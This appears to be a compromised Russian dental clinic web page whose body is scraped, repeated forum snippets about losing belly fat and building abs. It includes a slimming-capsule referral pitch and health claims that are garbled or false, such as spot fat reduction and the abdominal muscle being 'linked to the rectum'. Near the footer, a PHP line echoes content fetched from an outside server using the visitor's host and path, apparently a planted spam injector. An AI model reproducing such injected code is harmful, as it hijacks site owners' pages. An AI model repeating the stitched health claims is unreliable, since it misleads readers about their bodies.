Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как дома гантелями и какими упражнениями накачать грудные мышцы и убрать живот?

Www.slabakoff.net походу этот сайт, там на разные группы мышц упражнения, в частности и на грудь (её можно накачать поднимая гантели как штангу на спине лёжа) а живот чтоб убрать, либо пресс качая, либо отжимаясь, потому что при отжиманиях не только руки работают. Ну по-крайней мере у меня кубики появились после отжиманий (упражнения на пресс делал очень редеко) отжимаюсь по мере возможности раза 4, 3 в день.

Чтобы накачать грудные мышцы нужно делать жим штанги лёжа веса 20-28 кг 200 движений в день

Грудные мышцы качаются отжиманиями а также работой на брусьях. А вот живот упражнениями для пресса ты не уберешь. Конешно мышцы окрепнут но уни будут под слоем жира. Ешь меньше углеводов и жиров!
+активный образ жизни

За какое время можно убрать живот и накачать пресс?

Если усердно делать все упражнения, то в течение 1-2 месяца

Узнай ответ на вопрос С помощью каких упражнений можно убрать живот и накачать мышцы... на Спрашивалке.После 6 вечера не кушай, и уйдет. День через день качай пресс, а комплекс-видео ты можешь найти вк в видео.

Смотря как ты это делаешь еще. Думаю за пару месяцев будет результат виден, если как ты говоришь "живот не большой"

За два месяца в элементе.

Чтобы убрать живо сядь на диету советую на трехдневную посмотри в инете, я сам на ней сидел и реально помогло. За первый месяц упражнений у тебя появяться четкие очертания пресса, за 2 месяца они будут все четче и четче. А эти четыре упражнения самые основные:
1)поднятие лопаток лежа на спине
2)поднятие туловища лежа на спине
3) поднятие туловища с поворотом лежа на спине
4)поднятие ног лежа на спине
Для начала попробуй каждое упражнение по 30 раз сделать
пресс накачаеться так как тебе нужно (при условии регулярноговыполнения Сам так качаю уже год )

А ты к гадалке сходи!

И всё в порядке, но нужно помнить, что жир с живота не уйдёт только от упражнений на пресс. . важна диета.
Здесь как составить персональную диету .

Теги как убрать живот, как пресс качать, как накачать пресс в домашних условиях, накачать пресс дома, сжигание жира и набор мышечной массы, укрепление мышц, как похудеть, физические упражнения, комплекс упражнений.

Как убрать ЖИР с живота? Не накачать мышцы, а убрать жир . Советы по накачиванию мышц - не принимаются .

Бегать, зарядка по утрам... Короче аэробные нагрузки

Исследователи составили список из шести советов, следуя которым можно убрать живот после родов.Боковая планка поможет привести в тонус не только накачать мышцы пресса, но и укрепить мышцы вокруг тазобедренного сустава.

3 разовый рацион питание +спорт

Тогда липосакционная клиника по тебе плачет, лентяйка.

Электрорубанком за полминуты уберешь

Фейри живот натри


Убираем выступающий живот. Варенька овчаренко 1 июн, 08 58 9. Как убрать жир с живота.Необходимо обратиться к советам людей, столкнувшихся с этой проблемой и на своем опыте знающих, как похудеть в ногах не накачивая мышцы.

Зачем тебе? будь как я, жирненькой :)

Кардио нагрузки не менее получаса-бег вело плавание, гребля и низкоуглеводная диета

Здраствуйте,как убрать жир с живота и боков при этом не накачав мышцы

Бегайте кросс

То есть, накачать кубики на животе можно не только выполняя упражнения лишь на мышцы пресса.Для того чтобы быстро накачать кубики на животе нужно предавать нагрузки еще и на спину, поэтому поочередные нагрузки помогут быстро убрать жир с боков и выправить осанку.

Не жрать, не жрать и вечером тоже не жрать.

Липосакция

Жир полностью уйдёт при физический нагрузках, мышцы уничтожают жир.

Меньше кушать жирного, сладкого, побольше пить чистой воды. Бегать побольше.

Обруч поможет, утяжеленный песком

Упражнение для косых мышц живота и мышц-стабилизаторов плечаДанные упражнения помогут правильно накачать пресс, однако чтобы убрать живот нельзя забывать о рациональном питании.

Сексом занимайся сжигай жиры

Запомни - у девочек мышцы не растут.... можешь об этом даже не мечтать.... чтобы начали расти девочки нужно яйца пришить....

Спортом займись, что тут думать.

Разве пресс помогает убрать живот?!

А ведь для плоского живота надо накачать пресс! Все упражнения, как убрать живот и какчать пресс правильно в домашних условиях и тренажерном зале с фото, видео иОсобенности данного упражнения Когда делаете его, фокусируйтесь на животе, на мышцах живота.

Ну конечно

Если маленькая жировая прослойка, то он поможет убрать остатки. Если же не слишком маленькая прослойка, то и разницы не увидишь

Помогают упражнения на пресс и диета. Если просто качать пресс, то слой жира с живота никогда не уберется.

Конечно.. . Пресс убивает всякий жир

Без бега жир с пуза не уйдет. И то и это делай.

Как убрать живот и накачать ноги. Плоский живот, стройная фигура это мечта не только женщин, но и мужчин.Обычно, качая пресс, мы привыкли напрягать только верхние его мышцы. Однако не стоит забывать и про низ живота.

Как убрать жир с живота и боков, при этом не накачав мышцы?

Нежрать.

Как сделать кубики пресса за 25 дней и при этом накачать мышцы? Моя система - подробно Просмотров 52014.КАК УБРАТЬ ЖИВОТ Просмотров 677036. Юрий спасокукоцкий сошел с ума Просмотров 10913.

Кто интересно жалуется? Они или преувеличивают или обманывают. Жир в мышцы перейти не может. А чтобы нарастить мышцы - надо много заниматься или обладать особой индивидуальностью. Просто похудеть намного легче.

Массаж делайте, ходите в спорт зал; гимнастика в умеренном количестве, умеренное питание. Не обязательно превращать себя в качка, можно же просто сделать подтянутой фигуру

Живот прежде всего делается на кухне дробным здоровым питанием. И честно говоря, я не думаю, что если вы будете работать над этими местами с собственным весом или маленьким, то вы чего то там сильно перекачаете )))

Как убрать живот,и накачать мышцы?А то тута у меня наклёвывается.

Мне кажется, здесь ты этого не сможешь сделать. Надо уходить в спорт.

Вы мечтаете иметь красивый пресс, убрать живот, так чтобы были видны все 6 кубиков на животе.Может вам это кажется смешным, но пресс мышцы живота можно качать даже если есть и жир с верху, они будут под ним качаться расти .

А ответа то два - питаться правильно и заниматься физическими упражнениями.

Можно ли таким способом убрать бока?

Да, если делать по несколько подходов, большое количество раз!!! Удачи!!!)))

Как быстро убрать живот с помощью спорта. Как качать нижний пресс в домашних условиях. Как дома накачать пресс и не прогадать с результатом? Яков Золотов Опубликовано в Мышцы живота пресс Оставить комментарий.

Можно.

Поможет накачать косые мышцы живота. для похудения нужны интенсивные тренировки. Читайте о кардиотренировках!

Знаете, тренеры по фитнессу говорят так: вы не худеете в одном месте, вы равномерно худеете везде. поэтому если нет противопоказаний, найдите комплекс упражнений на видео для домашних занятий, благо их в инете полно, на любой уровень подготовленности. и занимайтесь на здоровье! еще и сердце заодно потренируете.

Насмешила А ешь ты как? и что значит с боков? человек когда худеет - он уменьшается ВЕСЬ в обеме Или тебе надо так чтобы было два подбородка толстый зад обвислый живот и стройные бока? Думай когда вопросы задаешь Нужны серьезные нагрузки регулярные и не жрать при этом на убой

Боковые наклоны с большим весом сделают талию шире, выполняйте комплекс на косые мышцы пресса, нос маленьким весом.

Красивый пресс убираем живот. Прежде чем приступить к физическим тренировкам, нужно знать, как убрать живот.Как эффективно накачать пресс. То, что мы часто называем нижним и верхним прессом, является одной прямой мышцей.

Подскажите! Если качать пресс 3 раза в день(утром, днем и вечером), можно ли накачать пресс? Или убрать живот?

Можно!

Лучшие материалы как убрать живот Эффективные упражнения Лучшие статьи и видеоуроки. Ваш E-MailКак правильно качать пресс, чтобы убрать живот в домашних условиях? Для того чтобы в домашних условия накачать пресс, необходимо знать, что мышцы...

Меня тоже этот вопрос волнует:) хотелось бы от животика избавиться и пресс подкачать немного))

Можно и накачать пресс и убрать живот, главное не забывать качать пресс хотя бы 3 дня в неделю.

Можно конечно.

Мышцы накачать можно, а жир убрать нельзя.
Уменьшение жировых отложений происходит за счет сокращения этого вида тканей по всему телу и не зависит от того, какую именно группу мышц ты тренируешь. Следовательно, ты не сможешь уменьшить количество жира, например, на животе, выполняя упражнения на разработку близлежащих мышц.
Другое дело, что жировые отложения в нашем теле скапливаются, прежде всего на талии, поэтому любая потеря веса будет заметна именно здесь. Однако для этого не следует делать дополнительные упражнения на разработку брюшного пресса .
Аэробные нагрузки (бег, велик, скакалка) - быстрый путь к сжиганию жира. 

Полностью согласен с T&P.

Как правильно качать пресс в домашних условиях, чтобы убрать живот и похудеть.Наверняка, вы слышали о том, что для этого нужно укреплять мышцы живота и качать пресс.

Поможет ли велотренажер накачать мышцы ног?

Качание пресса (стандартно) убирает ли живот или только накачивает мышцы живота ?

И то и то. Для мышц+масса типо сумо) надо соблюдать диеты, жрать разную штуку*)А для сброса веса с хорошо совмещать с бегом) Чтобы мышцы были разогреты.

Но в попытках добиться идеального результата, всегда есть опасность накачать мыщцы рукчто качать пресс, когда на животе и талии есть складки не лучшая идея внутренние мышцыКак убрать полные руки. Раньше были мышцы. Не хочу менять жир опять на мускулы. хочу...

Конечно. . сжигает жир и мышцы не остаются в сторене

Скажите пожауйста эффективно ли крутить тяжелый обруч? поможет ли он получить плоский живот и убрать бока?

Если его крутить каждый день и по несколько часов то поможет.

Как убрать живот.Нас находят по следующим ключевым словам как накачать мышцы, бодибилдинг, как накачать грудные мышцы, как накачать бицепс быстро, как накачать бедра, как накачать мышцы спины.

Наоборот - чем тяжелее - тем больше мышцы вы накачаете. Как штангист - они то как раз самые толстые!
вам надо такие упражнения, которые работают не на силу, а на скорость!
Крутите легкий - но быстро-быстро!

Можно ли качая пресс убрать живот? или только накачать мышцы? что можно сделать для того чтобы ушёл живот за месяц????

Нужно не только пресс качать, но и диету соблюдать. пресс может быть накачанным и под слоем жира - тут уж ниче не поделаешь, только худеть!

В смысле, если пресс качать и обруч крутить, то живот не уберется, а только мышцы накачаются?пресс великом накачать? совершенно точно хочу сказать, что запросто. вернее очень даже реально можно живот убрать занимаясь на велотренажере, только вот нужно в...

Почаще втягивай живот (и возьми в привычку) , как бы к позвоночнику, помогает

Убрать живот поможет БЕГ.... не менее 30 мин.

Как убрать жир с живота...ну, то есть мышцы я накачала, но от этого жир не убирается...что делать?

Диеты, массаж.. .
Знаете, у меня такая же проблема была. Просто из-за энергии, вечной беготни, дел, масса как-то сама уменьшается) а если при этом еще и меньше жиров и углеводов потреблять...:)))))

Как качать пресс, чтобы убрать живот? Жир в области живота сгоняется с трудом даже строгая диета и двухчасовые пробежки, которыеТемп выполнения упражнений - высокий, так как наша задача не накачать пресс под слоем жира, а согнать жир, попутно укрепив мышцы.

Http://otvet.mail.ru/question/35142376/
вот смотри как чувак уделался за 4 месяца, спроси у них.

Халахуп!!! !
ну, обруч, в простонародье... .
прекрасно разрушает структуру клетчатки!!!!

Упражнениями, как ни старайся, а жир с живота не уберёшь. Пресс накачаешь, да, но жир останется. Его только правильным питанием согнать можно. Другого выхода нет.

Обруч)
я так сейчас его убираю, хотя и не много его)

Попробуйте дыхательные упражнения! в инете много видео и литературы достаточно. бодифлекс, коллонетик и т. п. хорошо момогает подтянуть живот и прочее))

Убрать живот качая пресс. Реально или все таки нет?.Привет...Не хотел снова возвращаться к этой теме, но меня вынуждают, задавая изо дня в день одни и те же вопросы.Как накачать пресс. Мышцы за 2 недели.

Как убрать жир. прослойки на животе, которая мешает появлению мышц?!Качал пресс- пресс накачан,а жирок остался

Бегай

Как убрать живот после кесарева сечения? Кесарево сечение является довольно распространенной процедурой, при которой ребенок появляется на свет через разрез в брюшной полости живота по причинеКак накачать мышцы живота интересные решения.

Жиров поменьше кушай)

Бег, за 2 месяца результат начнет себя показывать

Кушать меньшими порциями

Худеть надо, т. е. жрать меньше

Статику - лежа на полу - на высоту спичечного коробка держи -

Узнай ответ на вопрос С помощью каких упражнений можно убрать живот и накачать мышцы... на Спрашивалке.После 6 вечера не кушай, и уйдет. День через день качай пресс, а комплекс-видео ты можешь найти вк в видео.

Как убрать жир с живота,при этом накачивая мышцы на нём?

Тебе поможет липосакция)))

Теги как убрать живот, как пресс качать, как накачать пресс в домашних условиях, накачать пресс дома, сжигание жира и набор мышечной массы, укрепление мышц, как похудеть, физические упражнения, комплекс упражнений.

Элементарно Ватсон. Качать пресс -интенсивнее.

Ну ешь немного поменьше, побольше двигайся (вообще) , ну а упражнения на пресс - это само собой разумеется.

Отжимания лутшее лекарство)

Лёжа на спине, ноги вверх на 45 градусов-велосипед....

Проанализируй что ешь и сделай выводы, один пресс не достаточно качай спину, и при нужном питании нужно жирок растрясти - бег, плавание.

Исследователи составили список из шести советов, следуя которым можно убрать живот после родов.Боковая планка поможет привести в тонус не только накачать мышцы пресса, но и укрепить мышцы вокруг тазобедренного сустава.

Ты полный тормоз, раз бегать не хочешь. Я через день 8 км пробегаю. Жир не скидываешь, но и не пребовляешь!

Без диеты и активной нагрузки ничего не выйдет. Невозмжно одновременно набирать вес и быть без жировых отложений.
Не можешь бегать - ходи. Много, быстрым шагам и больше ешь зелени, меньше жирного. Удачи.

Как убрать жирок с живота?

Удалите живот, тогда и жирка не будет ...

Убираем выступающий живот. Варенька овчаренко 1 июн, 08 58 9. Как убрать жир с живота.Необходимо обратиться к советам людей, столкнувшихся с этой проблемой и на своем опыте знающих, как похудеть в ногах не накачивая мышцы.

Не парся! ! щас кризис скоро деньги кончатся там зубы на полку положим!!!

А обручь пробовала крутить,,,,

Значит как-то не так занимаетесь)) )
нужно ежедневно не менее 30 мин. Любыми нагрузками. ВАЖНО пульс 110-160. Вам понадобится 2-4 недели. Ну и диета

Владимир Соловьев: «Я похудел на 70 килограммов! »
http://www.kp.ru/daily/24246/444687/

Http://www.galya.ru/

То есть, накачать кубики на животе можно не только выполняя упражнения лишь на мышцы пресса.Для того чтобы быстро накачать кубики на животе нужно предавать нагрузки еще и на спину, поэтому поочередные нагрузки помогут быстро убрать жир с боков и выправить осанку.

Можно в тренажерку записаться и ходить каждый день, бегать по утрам и вечерам, а если лень у Вас,
то можно капсулы для похудения попить. . .
даю адресок:
если понадобиться скидка в 10%, могу дать свой ID номер, указывая его Вы сможете приобрести любой товар с такой скидкой. Эффект не только на лицо, но и на теле очень заметен.
Вы можете по форумам почитать про капсулы для похудения.

Покрутите обруч хотя бы 10 минут в день, вы укрепите мышцы живота, уберете пару сантиметров с талии и сожжете лишние калории. если ежедневно крутить обруч, то через 2-3 недели ваши талия и бедра станут стройнее на 1 см, похудеют и другие части тела

Как накачать прямую мышцу живота? И как убрать с него жир?

Легггггггггко.... качаться делать упражнения для пресссса))))) и жиры сами убирутьььььььььььььььььььььььььсссссссссссссяяяяяяяяяяяяяяяяяя!!!!))))))))))

Упражнение для косых мышц живота и мышц-стабилизаторов плечаДанные упражнения помогут правильно накачать пресс, однако чтобы убрать живот нельзя забывать о рациональном питании.

Секс, матушка, секс и еще раз секс!! ! И не лежите там бревном, помогайте!! ! )

Прямая мышца живота напрямую связана с прямой кишкой. Начните качать её, и результат превзойдёт ожидания!

Упражнения "Пилатес"

Косые скручивания
Косые мышцы живота/Базовое упражнение/Выделяет талию и укрепляет пресс
Подъемы ног в висе
Нижняя часть пресса, а также прямая мышца бедра/Базовое упражнение/Развивает силу и подтягивает низ пресса
Подъемы коленей в висе
Нижняя часть пресса, а также прямая мышца бедра/Базовое упражнение/Развивает силу и подтягивает низ пресса
Обратные скручивания
Нижняя часть пресса/Базовое упражнение/Развивает силу и укрепляет низ пресса
Скручивание на коленях в болочном тренажере
Верхняя часть пресса и косые мышцы живота/Изолирующее упражнение/«Прорезание» верхних кубиков пресса
Скручивания на скамье с наклоном вниз
Верхняя часть пресса, а также прямая мышца бедра/Формирующее упражнение/Развитие силы и оттачивание формы
Скручивание на римском стуле
Верхняя часть пресса/Формирующее упражнение/Развитие силы и оттачивание формы
Скручивания
Верхняя часть пресса/Базовое упражнение/Развивает силу и укреп

Подъем туловища по сокращенной амплитуде из положения лежа.
Упражнение прорабатывает верхние части мышц брюшного пресса.
Лежа навзничь на полу, ноги тыльной стороной голеней размещены на скамье, руки скрещены на груди или соединены в "замок" за головой.
Медленно приподнимите плечи, пока лопатки не оторвутся от пола на 2,5—5 см. Задержитесь на секунду, вернитесь в исходное положение и повторите упражнение.
Чтобы добиться еще лучшего сокращения мышц при выполнении подъема из положения лежа, прижимайте нижнюю часть спины к полу.
2/Подъем ног, лежа на наклонной скамье.
Это движение прорабатывает мышцы нижней части живота и сгибатели тазобедренного сустава.
Лежа спиной на полу или наклонной скамье, нижняя часть спины плотно прижата к полу или скамье.
Стабилизировав тело и надежно удерживая низ спины на полу или скамье, слегка согните ноги в коленях, поднимите их вверх перпендикулярно торсу, затем опустите назад, пока пятки не коснутся пола. Повторите упражнение.
Чтобы удержать напряжение нижних частей брюшного пресса, следите за тем, чтобы спина во время выполнения упражнения все время оставалась прижатой. Если вы расслабитесь, то перенесете большую часть нагрузки на нижнюю часть спины, и упражнение потеряет свою эффективность как направленное на развитие нижних частей брюшного пресса. Для интенсификации упражнения используйте наклонную скамью.

А ведь для плоского живота надо накачать пресс! Все упражнения, как убрать живот и какчать пресс правильно в домашних условиях и тренажерном зале с фото, видео иОсобенности данного упражнения Когда делаете его, фокусируйтесь на животе, на мышцах живота.

Диета, велотренажёр, скручивания...

Как убрать жир с живота и с боков? мышцы я накачал, а жира меньше не стало... посоветуйте что-нибудь эффективное

Бросайте пить пиво, и начинайте анаэробные нагрузки. тупым качанием прессе жир не согнать.

Как убрать живот и накачать ноги. Плоский живот, стройная фигура это мечта не только женщин, но и мужчин.Обычно, качая пресс, мы привыкли напрягать только верхние его мышцы. Однако не стоит забывать и про низ живота.

Бегать!!!

Запишитесь в федерацию шейпинга, в лицензированный зал обязательно, там такие проблемы в два счета решают. Профессионалы.

Как эфективно убрать послеродовой мешок с живота ?

Да лана, ничё не надо убирать, муж есть, дети тоже ну и сё ,самое главное уже есть, а для чего мы боримся с лишними килограмами, чтобы на нас противоположный пол глядел))

Как сделать кубики пресса за 25 дней и при этом накачать мышцы? Моя система - подробно Просмотров 52014.КАК УБРАТЬ ЖИВОТ Просмотров 677036. Юрий спасокукоцкий сошел с ума Просмотров 10913.

В первую очередь необходимо накачать прес. это укрепит мышцы, которые растянулись во время беременности. паралельнно намажь живот антицеллюлитным кремом вирта.

Сама задаюсь вопросом, но бывалые говорят, что уберётся со времене сам, просто надо следить за питанием, ограничивать себя, ну и спорт, хотя я после родов вообще ни о каком спорте даж думать не могу...

1. Одно дело это крама,
2. Другое физические упр. которые способствуют подтяжке мышц
3. Смирение что как прежде живота не будет
4. Я назову" Все равно" это выполнение пункта 1 и 2. Потому что не хочу живота, и хоть как то положение исправиться

А кто-нибудь после родов пресс качал? Успешно? Удалось ли убрать живот и накачать мышцы в дом. условиях?

Ой сомневаюсь я в этом очень !!!Это невероятно трудно всем надо мгновенный результат

Вы мечтаете иметь красивый пресс, убрать живот, так чтобы были видны все 6 кубиков на животе.Может вам это кажется смешным, но пресс мышцы живота можно качать даже если есть и жир с верху, они будут под ним качаться расти .

Качала, безуспешно - мышцы накачались, а живот остался) ) И целлюлит!)))

Качал, но качать без фанатизма. Начинать с 10 раз и прибавлять каждый день по 5 раз

Этим не страдала, через год после родов вместо своих 60 кг стала 45кг, наоборот, стояла задача, как поправиться. надоели вопросы окружающих "Ты что болеешь, чахотка? "

Да, качала пресс сама, дома, все в норму пришло довольно быстро и в первый и во второй раз!

Вернуть вес в домашних условиях и с заботой о ребенке, я смогла через год. Все зависит от телосложения и склонности человека к полноте, просто качать вес этого мало, постарайтесь больше двигаться ( а с маленьким ребенком по другому не возможно) ) и соблюдать диету, еще многое зависит от того кормите ли вы ребенка грудь.

Как быстро убрать живот с помощью спорта. Как качать нижний пресс в домашних условиях. Как дома накачать пресс и не прогадать с результатом? Яков Золотов Опубликовано в Мышцы живота пресс Оставить комментарий.

Я начила заниматься через 5 месяцев после родов, так как было КС. Но со дня выписки ограничила себя в питании, за беременность набрала 30кг, уже сбросила больше. Занимаюсь каждый день каланетикой, упражнения с картинками можно найти в яндексе., делать тяжело, но результат обалденный. Сейчас уже хожу в фитнес, раньше дома занималась.

Думаю зависит от телосложения. если у вас был небольшой животик до родов, то примерно в такую форму при желании вернетесь.

Ой мне так лень....

Я качаю пресс, уже 5й месяц, через день-два, но качаю. Уже привыкла и без упражнений никуда. Живот ушел, его впринципе и не было особо, просто подтянула его так сказать. А по другому то его и неуберешь! Даже если ты и будешь худая, то он как мешочек будет болтаться. Но чтоб это начать, нужна воля и иногда недюжая.

Подруга качала. Частично ей помогло, но не полностью.

Красивый пресс убираем живот. Прежде чем приступить к физическим тренировкам, нужно знать, как убрать живот.Как эффективно накачать пресс. То, что мы часто называем нижним и верхним прессом, является одной прямой мышцей.

После кесарева качала пресс спустя месяц после операции. Все в умеренных нагрузках, старалась не сильно переутруждать себя. НО! У меня после родов был соовсем небольшой животик, и во время беременности тоже. Поэтому спустя 4 месяца после КС мой живот такой, почти как и до родов, правда не все так идеально, как хотелось бы:
Я до родов стройная была, лишним весом не страдала никогда.

Месяц после родов... качаю... результат посмотрим ближе к весне по ходу)
Добавлю, Вы понимаете, здесь есть решающий фактор какой образ жизни был до беременности! Был ли пресс до! Если да, и Вы регулярно занимались - живота как такового не будет, и тело помнит упражнения, начнёте качать и очень быстро всё прийдёт в норму. А вот если нет - надо будет чуть напрячься.

На третий день после родов стала делать ножницы и велосипед, сейчас проошло три недели, животик почти ушел, маленький, но по-моему это матка еще до конца не сократилась. Сейчас делаю каждый день упражнения

Как убрать живот

Верно говорят. Мышцы пресса в данном случае накачивать бесполезно, потому что они только увеличат объём живота. Нужна общая "сушка". Идите в любой тренажёрный зал к тренеру и попросите его написать вам программу сушки.

Лучшие материалы как убрать живот Эффективные упражнения Лучшие статьи и видеоуроки. Ваш E-MailКак правильно качать пресс, чтобы убрать живот в домашних условиях? Для того чтобы в домашних условия накачать пресс, необходимо знать, что мышцы...

Убрать простые углеводы и остановиться на правильном питании и спорте)

Физические упражнения до пота и баня, массаж

Попытайтесь сделать то о чём писал Архимед. Поможет это точно. Удачи.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, редуксинов, ягод годжы, серобуромалиновых кофе, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

  • Пурина ветеринарная диета для кошек отзывы - Кастрация кота. Есть спец. корм для кастратов, а проситься на улицу всё равно наверно будет, может он там в сартир ходит
  • Миостимуляторы для похудения - Кто пробовал миостимулятор-бабочка для похудения?Помогает? Спортом надо заниматься а не бабочки всякие клеить, от ничего
  • Диета для увеличения тромбоцитов - О чем говорит пониженный уровеь тромбоцитов? Прости что ответ готовили для женщины, но и для мужичков тоже сгодиться. Тр
  • Диеты при заболеваниях сердца - Почему при заболеваниях сердца противопоказана питьевая диета ? При ишемической болезни сердца противоречия в диете( а к
  • Дыхательные коктейли для легкого похудения - Как убрать талию? Убрать талию? Жри больше. Механизм похудения при занятиях Оксисайзом является точно таким же, как в бо
  • Белковая диета при занятии фитнесом - Помогите составить ДИЕТЫ, при занятиях в фитнес клубе Про творог не забудь Фитнес диетаОсобенности и правила фитнес диет
  • Меню овощной соковой диеты - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Более разнообразн
  • Чикко крем от растяжек купить - Кто пользовался кремами от растяжек "Mamma Donna" от фирмы Chicco?каково впечатление?)) Не помогло! Самый большой выбор
  • Меню для похудения пароварка - Как похудеть ? спортзалы - дорого , бегать - холодно (мороз -20), а очень надо ) Меньше жрать Таблица совместимости прод
  • Анита цой ее диета - Кто насколько похудел на 3-хдневной яично-грейпфрутовой диете Аниты Цой? Вечная проблема Диета Аниты Цой. Певица Анита Ц
  • Пурина ветеринарная диета для кошек отзывы - Кастрация кота. Есть спец. корм для кастратов, а проситься на улицу всё равно наверно будет, может он там в сартир ходит
  • Миостимуляторы для похудения - Кто пробовал миостимулятор-бабочка для похудения?Помогает? Спортом надо заниматься а не бабочки всякие клеить, от ничего
  • Диета для увеличения тромбоцитов - О чем говорит пониженный уровеь тромбоцитов? Прости что ответ готовили для женщины, но и для мужичков тоже сгодиться. Тр
  • Диеты при заболеваниях сердца - Почему при заболеваниях сердца противопоказана питьевая диета ? При ишемической болезни сердца противоречия в диете( а к
  • Дыхательные коктейли для легкого похудения - Как убрать талию? Убрать талию? Жри больше. Механизм похудения при занятиях Оксисайзом является точно таким же, как в бо
  • Белковая диета при занятии фитнесом - Помогите составить ДИЕТЫ, при занятиях в фитнес клубе Про творог не забудь Фитнес диетаОсобенности и правила фитнес диет
  • Меню овощной соковой диеты - Пост. Ребята, я первый раз хочу попробовать выдержать большой пост. Скажите, что можно кушать? Баранки Более разнообразн
  • Чикко крем от растяжек купить - Кто пользовался кремами от растяжек "Mamma Donna" от фирмы Chicco?каково впечатление?)) Не помогло! Самый большой выбор
  • Меню для похудения пароварка - Как похудеть ? спортзалы - дорого , бегать - холодно (мороз -20), а очень надо ) Меньше жрать Таблица совместимости прод
  • Анита цой ее диета - Кто насколько похудел на 3-хдневной яично-грейпфрутовой диете Аниты Цой? Вечная проблема Диета Аниты Цой. Певица Анита Ц
Как убрать живот и накачать мышцы
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта